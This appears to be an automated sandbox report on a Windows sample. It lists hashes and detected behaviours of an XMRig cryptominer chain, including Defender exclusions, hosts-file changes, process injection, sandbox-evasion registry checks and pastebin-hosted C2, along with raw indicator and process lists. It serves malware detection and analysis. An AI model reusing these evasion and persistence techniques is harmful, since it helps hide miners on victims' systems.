Analysis
- max time kernel
150s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
10/10/2024, 02:55
Static task
static1
Behavioral task
behavioral1
Sample
1417d38c40d85d1c4eb7fad3444ca069.exe
Resource
win7-20240903-en
General
- Target 1417d38c40d85d1c4eb7fad3444ca069.exe
- Size 5.3MB
- Sample241010-defvea1epp
- SHA256 5f7c6cdea3c4e825af1d796cbd34b2d45b2b6fabed130e717a30a6d871993f5d
- MD5 1417d38c40d85d1c4eb7fad3444ca069
- SHA1 27d8e2ca9537c80d1c1148830f9a6499f1e3e797
- SHA512 a169f8c5925977a984bc00a2b379205ed527777865215e4ffdfeb30084d1ed08f7bb5222db8898161f1e6151d4a75e8ccc366543cf041e47effc21dcf4c351ab
- SSDEEP 98304:z0uVyIJFN+YjxW2q0pOFklpKRDArh51NuIQIi7by2ud3RK:QucIJbx9TOFkMOL1NuIQIi7by2uRRK
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 3172 created 612 3172 powershell.EXE 5 PID 1720 created 612 1720 powershell.EXE 5 - XMRig Miner payload 7 IoCs
resource yara_rule behavioral2/memory/5100-99-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/5100-100-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/5100-106-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/5100-104-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/5100-103-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/5100-102-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/5100-105-0x0000000140000000-0x0000000140835000-memory.dmp xmrig - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1808 powershell.exe 4236 powershell.exe 3172 powershell.EXE 1720 powershell.EXE - Creates new service(s) 2 TTPs
- Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts 1417d38c40d85d1c4eb7fad3444ca069.exe File created C:\Windows\system32\drivers\etc\hosts updater.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Executes dropped EXE 1 IoCs
pid Process 5116 updater.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 24 pastebin.com 25 pastebin.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2024 powercfg.exe 3804 powercfg.exe 864 powercfg.exe 4796 powercfg.exe 4556 powercfg.exe 4972 powercfg.exe 2796 powercfg.exe 4960 powercfg.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\MRT.exe 1417d38c40d85d1c4eb7fad3444ca069.exe File opened for modification C:\Windows\system32\MRT.exe updater.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 4816 set thread context of 4208 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 105 PID 3172 set thread context of 3448 3172 powershell.EXE 123 PID 5116 set thread context of 3112 5116 updater.exe 141 PID 5116 set thread context of 1652 5116 updater.exe 142 PID 5116 set thread context of 5100 5116 updater.exe 147 PID 1720 set thread context of 1424 1720 powershell.EXE 153 -
resource yara_rule behavioral2/memory/5100-95-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-99-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-100-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-106-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-104-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-103-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-102-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-105-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-98-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-96-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-94-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/5100-97-0x0000000140000000-0x0000000140835000-memory.dmp upx - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1596 sc.exe 2332 sc.exe 3324 sc.exe 1372 sc.exe 4008 sc.exe 2100 sc.exe 4204 sc.exe 4936 sc.exe 1008 sc.exe 2392 sc.exe 2640 sc.exe 1580 sc.exe 764 sc.exe 4420 sc.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={8EDDE341-6043-44F9-8E11-D9E3F6A00C16}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dialer.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 10 Oct 2024 02:56:41 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 1808 powershell.exe 1808 powershell.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 5116 updater.exe 3172 powershell.EXE 4236 powershell.exe 4236 powershell.exe 3172 powershell.EXE 3172 powershell.EXE 3448 dllhost.exe 3448 dllhost.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 5116 updater.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 1720 powershell.EXE 1720 powershell.EXE 1720 powershell.EXE 3448 dllhost.exe 3448 dllhost.exe 1720 powershell.EXE 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 1720 powershell.EXE 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe 3448 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1808 powershell.exe Token: SeShutdownPrivilege 4972 powercfg.exe Token: SeCreatePagefilePrivilege 4972 powercfg.exe Token: SeShutdownPrivilege 2796 powercfg.exe Token: SeCreatePagefilePrivilege 2796 powercfg.exe Token: SeShutdownPrivilege 4960 powercfg.exe Token: SeCreatePagefilePrivilege 4960 powercfg.exe Token: SeShutdownPrivilege 2024 powercfg.exe Token: SeCreatePagefilePrivilege 2024 powercfg.exe Token: SeDebugPrivilege 3172 powershell.EXE Token: SeDebugPrivilege 4236 powershell.exe Token: SeDebugPrivilege 3172 powershell.EXE Token: SeDebugPrivilege 3448 dllhost.exe Token: SeShutdownPrivilege 4556 powercfg.exe Token: SeCreatePagefilePrivilege 4556 powercfg.exe Token: SeShutdownPrivilege 4796 powercfg.exe Token: SeCreatePagefilePrivilege 4796 powercfg.exe Token: SeShutdownPrivilege 864 powercfg.exe Token: SeCreatePagefilePrivilege 864 powercfg.exe Token: SeShutdownPrivilege 3804 powercfg.exe Token: SeCreatePagefilePrivilege 3804 powercfg.exe Token: SeLockMemoryPrivilege 5100 dialer.exe Token: SeAssignPrimaryTokenPrivilege 2132 svchost.exe Token: SeIncreaseQuotaPrivilege 2132 svchost.exe Token: SeSecurityPrivilege 2132 svchost.exe Token: SeTakeOwnershipPrivilege 2132 svchost.exe Token: SeLoadDriverPrivilege 2132 svchost.exe Token: SeSystemtimePrivilege 2132 svchost.exe Token: SeBackupPrivilege 2132 svchost.exe Token: SeRestorePrivilege 2132 svchost.exe Token: SeShutdownPrivilege 2132 svchost.exe Token: SeSystemEnvironmentPrivilege 2132 svchost.exe Token: SeUndockPrivilege 2132 svchost.exe Token: SeManageVolumePrivilege 2132 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2132 svchost.exe Token: SeIncreaseQuotaPrivilege 2132 svchost.exe Token: SeSecurityPrivilege 2132 svchost.exe Token: SeTakeOwnershipPrivilege 2132 svchost.exe Token: SeLoadDriverPrivilege 2132 svchost.exe Token: SeSystemtimePrivilege 2132 svchost.exe Token: SeBackupPrivilege 2132 svchost.exe Token: SeRestorePrivilege 2132 svchost.exe Token: SeShutdownPrivilege 2132 svchost.exe Token: SeSystemEnvironmentPrivilege 2132 svchost.exe Token: SeUndockPrivilege 2132 svchost.exe Token: SeManageVolumePrivilege 2132 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2132 svchost.exe Token: SeIncreaseQuotaPrivilege 2132 svchost.exe Token: SeSecurityPrivilege 2132 svchost.exe Token: SeTakeOwnershipPrivilege 2132 svchost.exe Token: SeLoadDriverPrivilege 2132 svchost.exe Token: SeSystemtimePrivilege 2132 svchost.exe Token: SeBackupPrivilege 2132 svchost.exe Token: SeRestorePrivilege 2132 svchost.exe Token: SeShutdownPrivilege 2132 svchost.exe Token: SeSystemEnvironmentPrivilege 2132 svchost.exe Token: SeUndockPrivilege 2132 svchost.exe Token: SeManageVolumePrivilege 2132 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2132 svchost.exe Token: SeIncreaseQuotaPrivilege 2132 svchost.exe Token: SeSecurityPrivilege 2132 svchost.exe Token: SeTakeOwnershipPrivilege 2132 svchost.exe Token: SeLoadDriverPrivilege 2132 svchost.exe Token: SeSystemtimePrivilege 2132 svchost.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3476 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2772 wrote to memory of 4748 2772 cmd.exe 92 PID 2772 wrote to memory of 4748 2772 cmd.exe 92 PID 4816 wrote to memory of 4208 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 105 PID 4816 wrote to memory of 4208 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 105 PID 4816 wrote to memory of 4208 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 105 PID 4816 wrote to memory of 4208 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 105 PID 4816 wrote to memory of 4208 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 105 PID 4816 wrote to memory of 4208 4816 1417d38c40d85d1c4eb7fad3444ca069.exe 105 PID 3172 wrote to memory of 3448 3172 powershell.EXE 123 PID 3172 wrote to memory of 3448 3172 powershell.EXE 123 PID 3172 wrote to memory of 3448 3172 powershell.EXE 123 PID 3172 wrote to memory of 3448 3172 powershell.EXE 123 PID 3172 wrote to memory of 3448 3172 powershell.EXE 123 PID 3172 wrote to memory of 3448 3172 powershell.EXE 123 PID 3172 wrote to memory of 3448 3172 powershell.EXE 123 PID 3172 wrote to memory of 3448 3172 powershell.EXE 123 PID 4532 wrote to memory of 4512 4532 cmd.exe 128 PID 4532 wrote to memory of 4512 4532 cmd.exe 128 PID 5116 wrote to memory of 3112 5116 updater.exe 141 PID 5116 wrote to memory of 3112 5116 updater.exe 141 PID 5116 wrote to memory of 3112 5116 updater.exe 141 PID 5116 wrote to memory of 3112 5116 updater.exe 141 PID 5116 wrote to memory of 3112 5116 updater.exe 141 PID 5116 wrote to memory of 3112 5116 updater.exe 141 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 1652 5116 updater.exe 142 PID 5116 wrote to memory of 5100 5116 updater.exe 147 PID 5116 wrote to memory of 5100 5116 updater.exe 147 PID 5116 wrote to memory of 5100 5116 updater.exe 147 PID 5116 wrote to memory of 5100 5116 updater.exe 147 PID 5116 wrote to memory of 5100 5116 updater.exe 147 PID 3448 wrote to memory of 612 3448 dllhost.exe 5 PID 3448 wrote to memory of 668 3448 dllhost.exe 7 PID 3448 wrote to memory of 944 3448 dllhost.exe 12 PID 3448 wrote to memory of 1012 3448 dllhost.exe 13 PID 3448 wrote to memory of 512 3448 dllhost.exe 14 PID 3448 wrote to memory of 608 3448 dllhost.exe 15 PID 3448 wrote to memory of 1064 3448 dllhost.exe 17 PID 3448 wrote to memory of 1076 3448 dllhost.exe 18 PID 3448 wrote to memory of 1180 3448 dllhost.exe 19 PID 3448 wrote to memory of 1232 3448 dllhost.exe 20 PID 3448 wrote to memory of 1264 3448 dllhost.exe 21 PID 3448 wrote to memory of 1284 3448 dllhost.exe 22 PID 3448 wrote to memory of 1324 3448 dllhost.exe 23 PID 3448 wrote to memory of 1464 3448 dllhost.exe 24 PID 3448 wrote to memory of 1480 3448 dllhost.exe 25 PID 3448 wrote to memory of 1504 3448 dllhost.exe 26 PID 3448 wrote to memory of 1516 3448 dllhost.exe 27 PID 3448 wrote to memory of 1668 3448 dllhost.exe 28 PID 3448 wrote to memory of 1708 3448 dllhost.exe 29 PID 3448 wrote to memory of 1744 3448 dllhost.exe 30 PID 3448 wrote to memory of 1768 3448 dllhost.exe 31 PID 3448 wrote to memory of 1852 3448 dllhost.exe 32 PID 3448 wrote to memory of 1984 3448 dllhost.exe 33 PID 3448 wrote to memory of 1992 3448 dllhost.exe 34 PID 3448 wrote to memory of 1096 3448 dllhost.exe 35 PID 3448 wrote to memory of 1388 3448 dllhost.exe 36 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1012
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2cc24dce-23e4-4490-ad05-e89e2e8cf1a0}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3448
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4b7b3d9b-823d-41cf-b4b8-47e9568b2d12}2⤵PID:1424
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:608
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1076
